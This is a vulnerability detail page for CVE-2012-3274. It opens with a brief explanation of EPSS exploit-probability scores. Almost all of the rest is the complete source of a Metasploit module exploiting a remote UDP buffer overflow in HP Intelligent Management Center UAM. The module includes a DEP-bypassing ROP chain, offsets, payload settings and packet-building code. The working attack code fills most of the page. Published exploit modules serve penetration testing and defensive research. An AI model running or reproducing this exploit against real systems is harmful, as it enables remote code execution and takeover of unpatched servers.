CVE-2012-3274 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'HP Intelligent Management Center UAM Buffer Overflow', 'Description' => %q{ This module exploits a remote buffer overflow in HP Intelligent Management Center UAM. The vulnerability exists in the uam.exe component, when using sprint in a insecure way for logging purposes. The vulnerability can be triggered by sending a malformed packet to the 1811/UDP port. The module has been successfully tested on HP iMC 5.0 E0101 and UAM 5.0 E0102 over Windows Server 2003 SP2 (DEP bypass). }, 'License' => MSF_LICENSE, 'Author' => [ 'e6af8de8b1d4b2b6d5ba2610cbf9cd38', # Vulnerability discovery 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2012-3274'], ['OSVDB', '85060'], ['BID', '55271'], ['ZDI', '12-171'], ['URL', 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c03589863'] ], 'Payload' => { 'BadChars' => "\x00\x0d\x0a", 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff", # Stack adjustment # add esp, -3500 'Space' => 3925, 'DisableNops' => true }, 'Platform' => ['win'], 'Targets' => [ [ 'HP iMC 5.0 E0101 / UAM 5.0 E0102 on Windows 2003 SP2', { 'Offset' => 4035, } ] ], 'Privileged' => true, 'DisclosureDate' => 'Aug 29 2012', 'DefaultTarget' => 0)) register_options([Opt::RPORT(1811)], self.class) end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def send_echo_reply(operator) packet = [0xF7103D21].pack("N") # command id packet << rand_text(18) packet << [0x102].pack("n") # watchdog command type => echo reply packet << "AAAA" # ip (static to make offset until EIP static) packet << "AA" # port (static to make offset until EIP static) packet << operator # Operator max length => 4066, in order to bypass packet length restriction: 4096 total connect_udp udp_sock.put(packet) disconnect_udp end def exploit # ROP chain generated with mona.py - See corelan.be rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") bof = rand_text(14) bof << rop_gadgets bof << payload.encoded bof << "C" * (target['Offset'] - 14 - rop_gadgets.length - payload.encoded.length) bof << [0x77bb0c86].pack("V") # EIP => XCHG EAX,ESI # RETN # from msvcrt.dll bof << [0x77bcc397].pack("V") # ADD EAX,2C # POP EBP # RETN # from msvcrt.dll bof << [junk].pack("V") # EBP bof << [0x77bcba5e].pack("V") # XCHG EAX,ESP # RETN # from msvcrt.dll print_status("Trying target #{target.name}...") send_echo_reply(rand_text(20)) # something like... get up! ? send_echo_reply(bof) # exploit end end